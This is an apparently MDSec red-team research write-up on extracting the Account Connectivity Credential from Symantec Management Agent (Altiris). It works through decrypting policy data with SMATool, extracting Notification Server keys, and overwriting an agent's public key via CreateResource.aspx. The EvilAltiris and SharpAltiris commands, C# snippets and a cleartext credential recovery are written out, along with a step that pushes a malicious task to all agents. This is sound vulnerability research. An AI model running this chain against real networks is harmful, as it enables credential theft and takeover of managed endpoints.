Introduction

On a recent Red Team for a particularly hardened client, we were looking to escalate our privileges in order to move off the endpoint and pivot into the server subnets. When none of the usual paths bore fruit, we began to look into the management software installed on the endpoint, specifically Symantec Management Agent (previously known as “Altiris”). Indeed this was something we had run into before and were keen to see what could be done from a privilege escalation perspective.

Reviewing the online documentation revealed the use of a “Account Connectivity Credential (ACC)”. This account is used to facilitate network access to the Symantec Site Server in order to download package, policy and task configuration data. This immediately reminded us of another three letter acronym used to perform an almost identical task within Microsoft SCCM, the Network Access Account (NAA).

Security risks associated with Network Access Accounts are well established, thanks to excellent research by Adam Chester and C# tooling such as a SharpSCCM by Chris Thompson.

Given the frequency with which we see overly privileged SCCM NAAs on engagements, we set off to identify how the Symantec Management Agent ACC was configured, how it was delivered to the endpoint and if it was possible to extract the credentials.

To skip straight to the tool, go here https://github.com/mdsecactivebreach/evilaltiris

Symantec Management Platform Infrastructure

The Symantec Management Platform has four main architectural components as detailed here

  • Notification Server and its Web-based Symantec Management Console
  • SQL Server
  • Site servers (can include task servers, package servers, network boot servers, and monitor service).
  • Managed computers

A high-level infrastructure diagram from Symantec can be seen below. For our purposes, we assume we have already compromised a managed computer with the Symantec Management Agent installed.

original.png

Symantec Management Agent ACC Account Configuration

During installation of our lab environment, we are prompted to enter the account credentials for the Notification Server account.

Screenshot from 2024-03-29 18-22-37.png

According to the documentation, this account must have local administrator rights on the Notification Server.

image.png

By default, these credentials will also be used as the ACC unless we explicitly configure one inside the web admin portal under Settings → Agents/Plug-ins → Symantec Management Agent → Settings → Global Agent Settings. This means that in a default configuration, the ACC will be set to an account with full administrative rights over the Notification Server. These credentials can also be used to access the admin console at URL https://notification-server.local/Altiris/console with full admin rights.

We can see here that Symantec warn us about the potential security risks associated with this and instead suggest we configure a low-privileged account. Problem solved! surely no-one would use the product in its default configuration?

Screenshot from 2024-04-17 11-16-24.png

With an understanding of how the ACC is configured, and the prospect of capturing credentials for a highly privileged account, we can move on to figuring out how the ACC is sent to the agents.

Overview of the Agent Enrollment Process

To understand how the ACC is distributed, we must first understand a bit about how the agent enrollment process works.

As the agent communications occurs over HTTP(S), we can simply install the agent using the MSI installer and run Wireshark to observe the traffic. Although the agent installer does support HTTP proxies, running the agent traffic via Burp during installation created unexpected results. To view HTTPS communications, we can simply add the private key from the Notification Server SSL certificate to decrypt the traffic.

While installing the agent, we observe a HTTP request to CreateResource.aspx. Although the POST data is raw binary, we assume this is likely some sort of device enrollment request to register the agent with the Notification Server.

image.png

Shortly after the enrollment request, we see a HTTP request to GetClientPolicies.aspx with metadata about our enrolled workstation.

image.png

As the agent service runs as SYSTEM, these requests are performed using negotiate authentication with the domain computer account. Crucially however, we found that when replaying this request using Burp and providing NTLMv2 credentials for a domain user (not computer) account, the server still returned the same binary response data.

image.png

image.png

This indicated that the application was utilising integrated authentication as a method of transport level protection only. There appeared to be no additional application logic to map our authenticating domain user back to a specific GUID. This would come in handy later on.

By tweaking the parameters in the request, we were able to work out the minimum parameters required in order to return a successful response.

image.png

Based on this request, we can conclude that in order to authenticate to the Notification Server and request agent policy data we require the following:

  • NTLM / Kerberos authentication (for any domain account)
  • GUID
  • TypeGUID

Fulfilling the first requirement is not an issue, as we are already running within a domain context on the endpoint. However, we don’t know how the two GUIDs are generated or how they used to authenticate the request. We also currently have no idea how to decode the server response data returned from the GetClientPolicies request. To complete these remaining requirements, we were going to need to dive deeper into the agent itself.

Symantec Management Agent Tool

While researching ways to increase the level of debugging logged by the agent, we found mention of a handy tool distributed by Symantec SMATool.exe. This tool can be found on the Notification Server at C:\Program Files\Altiris\Notification Server\Bin\Tools\SMATool.exe and provides a number of debugging functions for the agent.

SMATool.exe
SMP Agent Command Line Tool
Copyright (C) 2023 Broadcom. All rights reserved.

SMATool.exe [/Operation] [Parameter List]

Operation:
        HELP | ?        - Show this help.
        STORAGE         - Agent Storage operation
        DATA            - Data processing operation
        FILE            - File processing operation
        AGENT           - Agent operations
        AD              - Active Directory operation

Common for every operation parameters:
        WAIT            - Wait for operation to complete
        TPWD            - Ask for the troubleshooting password
        TPWD:<pwd>      - Set the troubleshooting password

        /DATA DUMP PASSWORD <Base64 encoded password string>

        /AGENT DUMP MACHINETYPE

Of particular interest were the functions related to “Agent Storage”, calling any of these while running Procmon on the agent workstation revealed references to an on-disk file within a parent folder called LDB

ldb_2.png

Researching these online we find that Symantec refers to these as the “Agent secure storage files”.

 LDB folder:
The following are the default location for the LDB folder (Agent secure storage files):
"\Documents and Settings\All Users\Application Data\Symantec\Symantec Agent\Ldb"
"\ProgramData\Symantec\Symantec Agent\Ldb"

Examining the available cmdline functions, we come across an interesting command /AGENT DUMP MACHINETYPE. Running this from a local administrator prompt on a machine with the agent installed, resulted in the below output.

SMATool.exe /AGENT DUMP MACHINETYPE
Machine type: Virtual
        Manufacturer: Oracle Corporation
        Model: VirtualBox
        Version: 1.2
        GUID: 00000000-0000-0000-0000-000000000000
Machine type GUID: {2C3CB3BB-FEE9-48DF-804F-90856198B600}

This GUID looks familiar! This is the same value we observed as the TypeGUID argument in our request to GetClientPolicies.aspx. So what about that other GUID we saw, is this also stored in the LDB ? It turns out this is actually stored within the registry, unencrypted and readable by any (low privileged) user.

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Altiris\Altiris Agent\MachineGuid

image.png

We now have all the information required to request policy data from the Notification Server, although it’s not much use to us as the response data is just raw binary. In turns out, however, that SMAtool has got our back here as well.

If we take our response data, convert it to base64 and pass it to the /DATA DUMP PASSWORD function, we are presented with an error “Bad Data”.

SMATool.exe /DATA DUMP PASSWORD AACJUtjGF<SNIP>
Failed to execute command: 0x80090005 [Bad Data].

Further reading of the Symantec documentation reveals this line, which gives us a hint at how the data within the LDB is encrypted.

SMATool.exe should run under SYSTEM account in order to be able to decrypt the policy response file (use psexec.exe).

If we launch a SYSTEM command prompt using PSExec.exe and re-run the command, we are now prompted for a Troubleshooting password.

SMATool.exe /DATA DUMP PASSWORD AACJUtjGF<SNIP>
Type the troubleshooting password: *

This is set from within the Notification Server web administration portal and is used by the agent to encrypt certain data stored within the LDB. Although this is a required argument, not all data stored within the LDB is encrypted with this key. To demonstrate this, we provide a dummy value via the /TPWD argument and re-run the command.

SMATool.exe /TPWD:MDSEC /DATA DUMP PASSWORD AACJUtjGF<SNIP>
0000    3c 72 65 73 70 6f 6e 73  65 20 6e 73 56 65 72 73   <response nsVers
0010    69 6f 6e 3d 22 38 2e 37  2e 32 33 33 37 2e 30 22   ion="8.7.2337.0"
0020    3e 3c 72 65 73 6f 75 72  63 65 73 3e 3c 72 65 73   ><resources><res
0030    6f 75 72 63 65 20 67 75  69 64 3d 22 7b 31 31 34   ource guid="{114
0040    62 37 31 37 38 2d 32 65  34 65 2d 34 30 37 31 2d   b7178-2e4e-4071-
0050    38 31 64 66 2d 39 31 39  62 33 66 31 30 65 30 63   81df-919b3f10e0c
0060    32 7d 22 3e 3c 72 65 73  6f 75 72 63 65 50 6f 6c   2}"><resourcePol
0070    69 63 79 20 67 75 69 64  3d 22 7b 31 34 32 66 32   icy guid="{142f2
0080    33 37 32 2d 65 36 34 64  2d 34 33 63 30 2d 61 32   372-e64d-43c0-a2
0090    30 37 2d 31 37 64 62 32  63 30 35 35 32 63 34 7d   07-17db2c0552c4}
00a0    22 20 2f 3e 3c 72 65 73  6f 75 72 63 65 50 6f 6c   " /><resourcePol
00b0    69 63 79 20 67 75 69 64  3d 22 7b 63 64 35 32 65   icy guid="{cd52e
00c0    62 36 36 2d 30 36 31 63  2d 34 32 33 65 2d 62 66   b66-061c-423e-bf
00d0    37 65 2d 30 38 32 39 32  37 31 33 38 64 66 65 7d   7e-082927138dfe}
<SNIP>

Nice! We now have a decrypted policy response from the Notification Server. If we examine the decrypted data, we see a reference to defaultACC_SecureAttribute along with an entry for userName_Secure_Attribute and userPassword_SecureAttribute.

2bf0	74 41 43 43 5f 53 65 63  75 72 65 41 74 74 72 69   tACC_SecureAttri
2c00	62 75 74 65 3d 22 68 69  67 68 73 65 63 75 72 65   bute="highsecure
2c10	64 22 20 64 65 66 61 75  6c 74 41 43 43 3d 22 54   d" defaultACC="T
2c20	72 75 65 22 20 75 73 65  72 4e 61 6d 65 5f 53 65   rue" userName_Se
2c30	63 75 72 65 41 74 74 72  69 62 75 74 65 3d 22 68   cureAttribute="h
2c40	69 67 68 73 65 63 75 72  65 64 22 20 75 73 65 72   ighsecured" user
2c50	4e 61 6d 65 3d 22 41 77  43 57 6a 56 6b 39 6f 43   Name="AwCWjVk9oC
2c60	56 4b 53 47 41 77 4d 63  47 64 72 48 65 65 64 38   VKSGAwMcGdrHeed8
2c70	7a 72 71 6d 58 4d 68 4c  35 34 34 38 73 6c 57 62   zrqmXMhL5448slWb

These values also appear to be encrypted, so we turn once again to our reliable friend SMAtool. Loading these values into the same /DATA DUMP PASSWORD function reveals the clear-text username and password values for the ACC.

SMATool.exe /TPWD:MDSEC /DATA DUMP PASSWORD AwCWjVk9oCVKSGAwMcGdrHeeGgb3zP+X1URujyeX9sSNCg865meVAxDjjwu7yrMiwtSqRyFSu223tHkudAu6S8jKB/wEgk30d29OXW/J64/8sVtNWclR98HnX20aeKYTvKskYh+KE/oW/QuTrhZgICiw17GMFRwLRbOs3pN8Yd85zA1gINudPo2EJWMjvqGNcnFyQa58k3sGm0pC1SLQ73zd1ynPTExur2lpRbNmgv8tmQ==
INITECH\altiris_connectivity_credential3

SMATool.exe /TPWD:MDSEC /DATA DUMP PASSWORD AwCWjVk9oCVKSGAwMcGdrHee24NhmeSpLOyxpDXmlYRpVyKJaUnSYOjplCbL/bAW5g7XMsEudlbPWAiBTlH5lf+eOAbBTxH/1529ZKzBjMILfXJBrnyTewabSkLVItDvfN3XKc9MTG6vaWlFs2aC/y2Z
SuperSecure!

During our testing we noticed that ACC_SecureAttribute values taken from different environments could all be decrypted using the same SMAtool , however this was not the case for policy data returned from the server. This indicated that policy data was likely encrypted using an agent specific key (stored in the LDB) while the ACC was encrypted using a static key (stored in the SMAtool binary itself). The versatile nature of the SMAtool means that it is able to examine the input string and automatically determine which encryption key to use to decrypt the data.

Exploitation from High Privilege

We now have everything we need to recover the ACC credentials from a privileged (SYSTEM) process on a workstation with the Symantec Management Agent installed. In order to automate the attack, we created a C# tool EvilAltiris to pull the policy data from the Notification Server and call the relevant functions from the SMAtool binary on disk.

To perform the attack with high privilege we perform the following:

  • Read the MachineGuid from the registry
  • Read the TypeGuid from the LDB via SMATool
  • Request the encrypted policy data from the server
  • Decrypt the policy data with SMATool
  • Decrypt the ACC with SMATool

The video below demonstrates performing these actions via EvilAltiris and using the ACC to authenticate to the admin web interface on the Notification Server.

We can also use these credentials to interact with the Notification Server API via our existing post-exploitation tool SharpAltiris to push malicious code to all enrolled agents.

SharpAltiris.exe ScheduleTask http://dc.initech.local a9955ffd-1949-4fef-99d7-6d45eca67dba 121f90f2-1e50-418a-86de-87c884ca1a2d mymalicioustask "INITECH\\altiris_notification" "SuperSecure!"

Sending URL http://dc.initech.local/altiris/ASDK.Task/TaskManagementService.asmx/ExecuteTask
[+] Task Executed successfully!

Note: One additional bonus is that the TCP port for both the agent communications and admin web interface are the same (TCP 80/443). This means that network connectivity to the admin web interface from the workstation LAN must be permitted through the firewall due to the requirement to allow traffic from the agent. This is especially useful for hardened environments where server management ports are typically only accessible from specific hosts or jumpboxes.

Exploitation from Low Privilege

Although our attack works, we are reliant on SYSTEM access in order to decrypt the required data stored in the LDB. The requirement to write SMATool.exe to disk is also not ideal from an OPSEC perspective. Finally, there is no technical restriction preventing us from performing the attack with a regular domain user account, as any user can authenticate to the Notification Server via NTLM. As a result, we looked to develop an exploitation path from a non-elevated position, removing any reliance on SMATool.exe.

To achieve this, we needed to validate some of our earlier assumptions around the enrollment process using a combination of de-compilation and dynamic reversing.

Revisiting our device enrollment request, we wanted to better understand the initial request used to enroll an agent in the Notification Server.

image.png

Although the request body is encrypted, as the back-end code for the Notification Server is written in .NET we can de-compile the server binaries to try and identify how the request data is encrypted. The majority of the server side logic can be found inside the following DLLs:

  • C:\Program Files\Altiris\Notification Server\AgentWeb\Agent\Bin\Altiris.Web.NS.Agent.dll
  • C:\Program Files\Altiris\Symantec Installation Manager\Altiris87.NS.dll

After de-compiling the .NET binaries in dotPeek, we find the following Class at Altiris.Web.NS.Agent.dll:Altiris.Web.NS.Agent.CreateResourceHttpHandler.cs. Inside this Class, we note the call to the function DecryptRequestText.

    protected override bool ValidateRequestValues(
      HttpContext context,
      CreateResourceHttpHandlerData data)
    {
<TRIMMED FOR BREVITY>
      data.RequestXml = this.DecryptRequestText(context, data);
    }

Tracing this call we ultimately end up inside the Altiris87.NS.dll:Altiris.NS.Security.Cryptography.SymmetricKeyManager.cs Class. This class provides a way to extract keys from the Key Management System (KMS) directory stored on the Notification Server at path C:\ProgramData\Symantec\KMS. Each of the XML files in this directory contain either a symmetric or asymmetric key encrypted with DPAPI.

image.png

To extract these keys, we create a new C# project adding a reference to Altiris87.NS.dll and then call the GetAsymmetricKey function, passing in the name of the key we want NS.PackageSigning.

        public static void KeyCacheEntry (RSAAsymmetricKeyInfo key, bool isPrivate)
        {
            using (RSACryptoServiceProvider cryptoServiceProvider = isPrivate ? (RSACryptoServiceProvider)GetPrivateAlgorithmOverride(key) : (RSACryptoServiceProvider)key.GetAlgorithm())
            {
                Console.WriteLine(cryptoServiceProvider.ToXmlString(isPrivate));
            }
        }

        static void Main(string[] args)
        {
            using (AsymmetricKeyInfo keyWithImpersonation = SymmetricKeyManager.GetAsymmetricKey("NS.PackageSigning"))
            {
                RSAAsymmetricKeyInfo PackageSigningKey = (RSAAsymmetricKeyInfo)keyWithImpersonation;
                KeyCacheEntry(PackageSigningKey, true);
            }
        }

Running this on the Notification Server results in the below output.

'NS.PackageSigning' (RSAAsymmetricKeyInfo,unprotected)
KeySize: 2048
Key: RSA-PKCS1-KeyEx
Key: <http://www.w3.org/2000/09/xmldsig#rsa-sha1>
KeyXML: <RSAKeyValue><Modulus>vXj197K0K60misOMVqpnwDWFw/UHrRvBgZ6Lepdfk9eHkyfmCndWuH92Sz5BpfdvpjoOYNIPRAd4evJqrbgFrRg58ddKyS70L2aYofGU39Op5s+PtV4RP9eA5GIi5Felaxt0fjFHuWvB54PmzeKrqFtRDz1bfNUvZwn4tvU5p5LKUs/TlQ+6RcuThnZhNwuHbIOa589ezjnKwaAd2XPNIG2OUNcGaLIK4eJK1B0sHvtJRun+mLAtTd82kePYstgyh1XGqSzuBY5mIKAXAACLeWg7tGDWGQedHLy3T4vmPCniq4Eq/ylE9g4CwkYtp9zDY0Pr/vT92ULFN/H4pQ9btQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

To perform the decryption, we take the binary request data from our device enrollment request and pass it to the below function, along with the extracted private key from the KMS.

        public static byte[] DecryptToStreamWithNSKeyByte(RSACryptoServiceProvider rsaPrivateKey, byte[] data)
        {
            using (rsaPrivateKey)
            {
                using (AsymmetricKeyEncryption asymmetricKeyEncryption = new AsymmetricKeyEncryption(rsaPrivateKey))
                    return asymmetricKeyEncryption.Decrypt(data);
            }
        }
        Console.WriteLine(ByteArrayToString(DecryptToStreamWithNSKeyByte(cryptoServiceProvider, Convert.FromBase64String("AAA4xIqgq7WOIYvNq<TRIMMED FOR BREVITY>"))));

This results in the below decrypted XML POST data from our device enrollment request. Of particular interest to us is the policyKey value as this is likely a reference to the asymmetric key used to encrypt the agent policy data.

<TRIMMED FOR BREVITY>26573733d2230382d30302d32372d39372d35462d3046222073746174653d226e6577222f3e0a3c2f7265736f757263653e0a | xxd -r -p | hexdump -C
00000000  3c 72 65 73 6f 75 72 63  65 20 74 79 70 65 47 75  |<resource typeGu|
00000010  69 64 3d 22 7b 32 43 33  43 42 33 42 42 2d 46 45  |id="{2C3CB3BB-FE|
00000020  45 39 2d 34 38 44 46 2d  38 30 34 46 2d 39 30 38  |E9-48DF-804F-908|
00000030  35 36 31 39 38 42 36 30  30 7d 22 20 6e 61 6d 65  |56198B600}" name|
00000040  3d 22 57 4f 41 46 33 38  33 36 4f 22 20 70 6f 6c  |="WOAF3836O" pol|
00000050  69 63 79 4b 65 79 3d 22  41 41 41 41 41 51 41 42  |icyKey="AAAAAQAB|
00000060  78 5a 45 71 64 61 41 51  51 43 4a 58 2b 42 30 44  |xZEqdaAQQCJX+B0D|
<TRIMMED FOR BREVITY>

Decoding the base64 value from the policyKey argument key inside the request we see the below.

echo AAAAAQABxZEqdaAQQCJX+B0Dn6EzwjR4yxtHJWp9T7PrfJP2RTOmWm19R2WPzefkiN/YwuKEc+eUBPgD0/6W6dnlrhRPorhnBgPkfKBB2D+NIcsNhB3obyvcrhQKHydHiU9QhS5eGThK3a8lBQuJQpi5CXA60wtiqoVaPxbn/++13yeWmO+8i2Kug0b9ouHozcyHgR0lF77WSw83mTQwDLyJQmhBsI1gyCby8MNsZRSa+1ljy8l/gBJlz/s+hBUU7Qi+PcoD71CN6plu/1TWP+K3oqa0yaUQQwuy5kVSbIfjRS+3FxMZceMZTvaZ+1eUnIN31VnkbSaSsk5yMBq1/1BKEZWodQ== | base64 -d | hexdump -C
00000000  00 00 00 01 00 01 c5 91  2a 75 a0 10 40 22 57 f8  |........*u..@"W.|
00000010  1d 03 9f a1 33 c2 34 78  cb 1b 47 25 6a 7d 4f b3  |....3.4x..G%j}O.|
00000020  eb 7c 93 f6 45 33 a6 5a  6d 7d 47 65 8f cd e7 e4  |.|..E3.Zm}Ge....|
00000030  88 df d8 c2 e2 84 73 e7  94 04 f8 03 d3 fe 96 e9  |......s.........|
00000040  d9 e5 ae 14 4f a2 b8 67  06 03 e4 7c a0 41 d8 3f  |....O..g...|.A.?|
00000050  8d 21 cb 0d 84 1d e8 6f  2b dc ae 14 0a 1f 27 47  |.!.....o+.....'G|
00000060  89 4f 50 85 2e 5e 19 38  4a dd af 25 05 0b 89 42  |.OP..^.8J..%...B|
00000070  98 b9 09 70 3a d3 0b 62  aa 85 5a 3f 16 e7 ff ef  |...p:..b..Z?....|
00000080  b5 df 27 96 98 ef bc 8b  62 ae 83 46 fd a2 e1 e8  |..'.....b..F....|
00000090  cd cc 87 81 1d 25 17 be  d6 4b 0f 37 99 34 30 0c  |.....%...K.7.40.|
000000a0  bc 89 42 68 41 b0 8d 60  c8 26 f2 f0 c3 6c 65 14  |..BhA..`.&...le.|
000000b0  9a fb 59 63 cb c9 7f 80  12 65 cf fb 3e 84 15 14  |..Yc.....e..>...|
000000c0  ed 08 be 3d ca 03 ef 50  8d ea 99 6e ff 54 d6 3f  |...=...P...n.T.?|
000000d0  e2 b7 a2 a6 b4 c9 a5 10  43 0b b2 e6 45 52 6c 87  |........C...ERl.|
000000e0  e3 45 2f b7 17 13 19 71  e3 19 4e f6 99 fb 57 94  |.E/....q..N...W.|
000000f0  9c 83 77 d5 59 e4 6d 26  92 b2 4e 72 30 1a b5 ff  |..w.Y.m&..Nr0...|
00000100  50 4a 11 95 a8 75                                 |PJ...u|

SMATool.exe provides a useful command to dump the current agent public key from the LDB. Running this, we confirm that the value contained within the policyKey argument is indeed the agent public key.

SMATool.exe /AGENT DUMP PUBLICKEY
Public key:
0000    00 00 00 01 00 01 c5 91  2a 75 a0 10 40 22 57 f8   ........*u..@"W.
0010    1d 03 9f a1 33 c2 34 78  cb 1b 47 25 6a 7d 4f b3   ....3.4x..G%j}O.
0020    eb 7c 93 f6 45 33 a6 5a  6d 7d 47 65 8f cd e7 e4   .|..E3.Zm}Ge....
0030    88 df d8 c2 e2 84 73 e7  94 04 f8 03 d3 fe 96 e9   ......s.........
0040    d9 e5 ae 14 4f a2 b8 67  06 03 e4 7c a0 41 d8 3f   ....O..g...|.A.?
0050    8d 21 cb 0d 84 1d e8 6f  2b dc ae 14 0a 1f 27 47   .!.....o+.....'G
0060    89 4f 50 85 2e 5e 19 38  4a dd af 25 05 0b 89 42   .OP..^.8J..%...B
0070    98 b9 09 70 3a d3 0b 62  aa 85 5a 3f 16 e7 ff ef   ...p:..b..Z?....
0080    b5 df 27 96 98 ef bc 8b  62 ae 83 46 fd a2 e1 e8   ..'.....b..F....
0090    cd cc 87 81 1d 25 17 be  d6 4b 0f 37 99 34 30 0c   .....%...K.7.40.
00a0    bc 89 42 68 41 b0 8d 60  c8 26 f2 f0 c3 6c 65 14   ..BhA..`.&...le.
00b0    9a fb 59 63 cb c9 7f 80  12 65 cf fb 3e 84 15 14   ..Yc.....e..>...
00c0    ed 08 be 3d ca 03 ef 50  8d ea 99 6e ff 54 d6 3f   ...=...P...n.T.?
00d0    e2 b7 a2 a6 b4 c9 a5 10  43 0b b2 e6 45 52 6c 87   ........C...ERl.
00e0    e3 45 2f b7 17 13 19 71  e3 19 4e f6 99 fb 57 94   .E/....q..N...W.
00f0    9c 83 77 d5 59 e4 6d 26  92 b2 4e 72 30 1a b5 ff   ..w.Y.m&..Nr0...
0100    50 4a 11 95 a8 75

By reviewing the ConvertToPublicKeyBlobV2 function of the Altiris87.NS.dll:Altiris.NS.Security.Cryptography.PublicKeyConverter.cs Class we discover the structure of the agent public key blob.

    public static readonly byte SMA_Key_Version = 0;
    public static readonly byte SMA_Key_Flags = 0;

    public static byte[] ConvertToPublicKeyBlobV2(byte[] streamModulusExp)
    {
      using (RSACryptoServiceProvider cryptoServiceProvider = new RSACryptoServiceProvider(2048))
      {
        RSAParameters parameters = new RSAParameters();
        byte[] destinationArray1 = new byte[PublicKeyConverter.SMAkey_exponent_size];
        byte[] destinationArray2 = new byte[PublicKeyConverter.SMAkey_modulus_size];
        Array.Copy((Array) streamModulusExp, PublicKeyConverter.SMAkey_parity_size, (Array) destinationArray1, 0, destinationArray1.Length);
        Array.Copy((Array) streamModulusExp, destinationArray1.Length + PublicKeyConverter.SMAkey_parity_size, (Array) destinationArray2, 0, destinationArray2.Length);
        parameters.Modulus = destinationArray2;
        parameters.Exponent = destinationArray1;
        cryptoServiceProvider.ImportParameters(parameters);
        return cryptoServiceProvider.ExportCspBlob(false);
      }
    }

The format of the public key blob can be represented by the diagram below.

csp.png

With this information, we can generate our own asymmetric key pair converting the public key into the base64 encoded blob format that the Notification Server requires.

EvilAltiris.exe GenerateCerts

█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀
██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█

Author: Matt Johnson - MDSec ActiveBreach - v0.0.1

[+] Generating new asymmetric key pair for Agent encryption...
[+] Public Key Modulus (Base64): qDHx4/T+bEWU/oxbowWxaCtu3MZF9FvAJ1/g1iD2Nu0v6aNxO77W7iRP3/mrcR5QQQ2azAXj0xhTbSEtk/4PlfN09EMurBnCXfJ9DHhKwrMQs9qatOOI0989/QQbMA6at7iVgpf4BC99GNjTizJJFQnIGLjSk4QfrMl2DiWsCzTAE7oFAwsERjFMxDB3FMhysKP4n2iRPdLP2LLkfV7yU9W9vuopeArDYxP1UpSUZjyzXPePhhRF3+Oz8q8v2hv5Uq23wuDdVY8PZ8XwY5G5rniBFA2GFV+uYE6juidceiLUeQDdSY88EiYjNZrzxzjtG5fqpnZVard1Wgk23EyznQ==
[+] Public Key Exponent (Base64): AQAB
[+] Generating SMA CSP blob (policyKey)...
AAAAAQABqDHx4/T+bEWU/oxbowWxaCtu3MZF9FvAJ1/g1iD2Nu0v6aNxO77W7iRP3/mrcR5QQQ2azAXj0xhTbSEtk/4PlfN09EMurBnCXfJ9DHhKwrMQs9qatOOI0989/QQbMA6at7iVgpf4BC99GNjTizJJFQnIGLjSk4QfrMl2DiWsCzTAE7oFAwsERjFMxDB3FMhysKP4n2iRPdLP2LLkfV7yU9W9vuopeArDYxP1UpSUZjyzXPePhhRF3+Oz8q8v2hv5Uq23wuDdVY8PZ8XwY5G5rniBFA2GFV+uYE6juidceiLUeQDdSY88EiYjNZrzxzjtG5fqpnZVard1Wgk23EyznQ==
[+] Private Key (XML): <RSAKeyValue><TRIMMED FOR BREVITY></RSAKeyValue>

An interesting observation about the CreateResource.aspx endpoint is that there is nothing stopping us from simply updating the policyKey value for an existing agent. The only requirement is that we know the machineGUID of the device we want to overwrite. When we next request our policy data, the data will now be encrypted with our controlled key.

image.png

As the machineGuid can be read by any low privileged user, we can opt to generate a new asymmetric key pair and then overwrite the policyKeyvalue for the machine. To automate this, we added a function to EvilAltiris to overwrite an existing agent public key for a given machineGuid with our own.

EvilAltiris.exe SetPublicKey /key:AAAAAQABqDHx4/T+bEWU/oxbowWxaCtu3MZF9FvAJ1/g1iD2Nu0v6aNxO77W7iRP3/mrcR5QQQ2azAXj0xhTbSEtk/4PlfN09EMurBnCXfJ9DHhKwrMQs9qatOOI0989/QQbMA6at7iVgpf4BC99GNjTizJJFQnIGLjSk4QfrMl2DiWsCzTAE7oFAwsERjFMxDB3FMhysKP4n2iRPdLP2LLkfV7yU9W9vuopeArDYxP1UpSUZjyzXPePhhRF3+Oz8q8v2hv5Uq23wuDdVY8PZ8XwY5G5rniBFA2GFV+uYE6juidceiLUeQDdSY88EiYjNZrzxzjtG5fqpnZVard1Wgk23EyznQ== /url:http://dc.initech.local /machine:{CBE20FEC-1031-48D8-B277-50D593329CE4}

█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀
██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█

Author: Matt Johnson - MDSec ActiveBreach - v0.0.1

[+] Response received for request:
[+] Response Content:
<Resource guid="{CBE20FEC-1031-48D8-B277-50D593329CE4}" typeGuid="{2c3cb3bb-fee9-48df-804f-90856198b600}" name="" ref="cbe20fec-1031-48d8-b277-50d593329ce4" existing="True" nsKey="AAAAAQABvXj197K0K60misOMVqpnwDWFw/UHrRvBgZ6Lepdfk9eHkyfmCndWuH92Sz5BpfdvpjoOYNIPRAd4evJqrbgFrRg58ddKyS70L2aYofGU39Op5s+PtV4RP9eA5GIi5Felaxt0fjFHuWvB54PmzeKrqFtRDz1bfNUvZwn4tvU5p5LKUs/TlQ+6RcuThnZhNwuHbIOa589ezjnKwaAd2XPNIG2OUNcGaLIK4eJK1B0sHvtJRun+mLAtTd82kePYstgyh1XGqSzuBY5mIKAXAACLeWg7tGDWGQedHLy3T4vmPCniq4Eq/ylE9g4CwkYtp9zDY0Pr/vT92ULFN/H4pQ9btQ==">
  <symmetricKeySets exportedAt="638670151141935445" machine="DC">
    <symmetricKeySet name="NS.AgentSettings">
      <symmetricKey keyType="kDefault, kExposableToAgent" algorithm="AesCryptoServiceProvider" cipherMode="CBC" paddingMode="PKCS7" key="gK8Uj/pXZzw+tRJV5ihzzw468bZkXzdEwNFgMJs2fW4=" IV="unhnVwwntk7jrhLh79loQw==" keyHash="OUaJHNCD90o23wBfTdXCnR7/j5c9bGDKndFUJxlhm2s=" />
    </symmetricKeySet>
  </symmetricKeySets>
</Resource>

A nice bonus here is that the Notification Server also includes the agent TypeGUID in the response which we will need to request the agent policy data. This is useful because as a low privileged user we are unable to read the TypeGUID value directly due to it being stored encrypted within the LDB. Note: The symmetric key included in the response data is not useful to us as it is not used for protecting the policy data.

The issue with this approach is that once we overwrite the policyKey, the agent will no longer be able to decrypt its own policy requests (as it has no knowledge of the newly generated key). This is less than ideal as it leaves the agent in an unstable state unable to receive future policy updates. Indeed, after overwriting the agent public key we see that an error status is now shown inside the console.

Screenshot from 2024-11-18 14-36-26.png

We spent some time on this trying to find a way to somehow restore the agent after overwriting the existing public key. Late one night, while digging into the Symantec Management Agent COM interface with OleView, we struck gold.

image.png

The Symantec Management Agent service exposes a local COM server AeXNSAgent exporting a number of methods for managing the agent. One of the methods ClearMachineGuid provided the exact functionality we were after. Calling this function causes the agent to make a request to the CreateResource.aspx endpoint with the existing agent metadata (and crucially agent public key value) currently stored within the LDB.

Note: The method name is somewhat of a misnomer, as the machineGuid value won’t really be “cleared”. This is because the machineGuid value is calculated based on the information contained in the request (the hardware of the machine, computer name, MAC address etc). As this information is unlikely to change, the machineGuid value returned by the Notification Server will very likely remain unchanged.

Calling this method via C# is straightforward using the below code.

            dynamic comObject = Activator.CreateInstance(Type.GetTypeFromProgID("Altiris.AeXClient.1"));
            comObject.ClearMachineGuid();         

After making this call, we can see the request to CreateResource.aspx is made by the agent.

image.png

This will restore the policyKey value back to the original public key value stored within the LDB on the agent prior to our exploit. Opening up the console again, we see that the agent is now able to receive data from the Notification Server successfully.

Screenshot from 2024-11-18 14-36-38.png

Decrypting Policy Data

With knowledge of the MachineGuid, TypeGUID and our attacker controlled public key assigned to the machine, we can now make a request for the agent policy data from the GetClientPolicies.aspx endpoint. As the returned data will be encrypted with our generated public key, we simply need to reverse the encryption process to recover the policy data.

Reviewing the server-side code, we find the ProcessNodeData function within the Altiris87.NS.dll:Altiris.NS.AgentManagement.AgentDataProtection.cs Class is responsible for generating our policy XML data.

    private static void ProcessNodeData(
      XmlNode node,
      AsymmetricKeyEncryption encryptor,
      bool cleanSecureAttributes,
      bool bCleanSecuredData)
    {
<TRIMMED FOR BREVITY>
              byte[] bytes = Encoding.UTF8.GetBytes(node.Attributes[name].Value ?? string.Empty);
              node.Attributes[name].Value = Convert.ToBase64String(encryptor.Encrypt(bytes));
            }
            else if (bCleanSecuredData)
              node.Attributes[name].Value = string.Empty;
          }
        }

This in turn calls the Encrypt function of the Altiris87.NS.dll:Altiris.NS.Security.Cryptography.AsymmetricKeyEncryption.cs Class in order to create the enc_header data.

    internal byte[] Encrypt(byte[] data, SymmetricKeyInfo key)
    {
        try
        {
          SymmetricKeyEncryption.enc_header header = SymmetricKeyEncryption.GenerateHeader(this.m_symmetricKey, (short) this.EncryptionFlag);
          using (MemoryStream memoryStream = new MemoryStream())
          {
            header.ToStream(memoryStream);
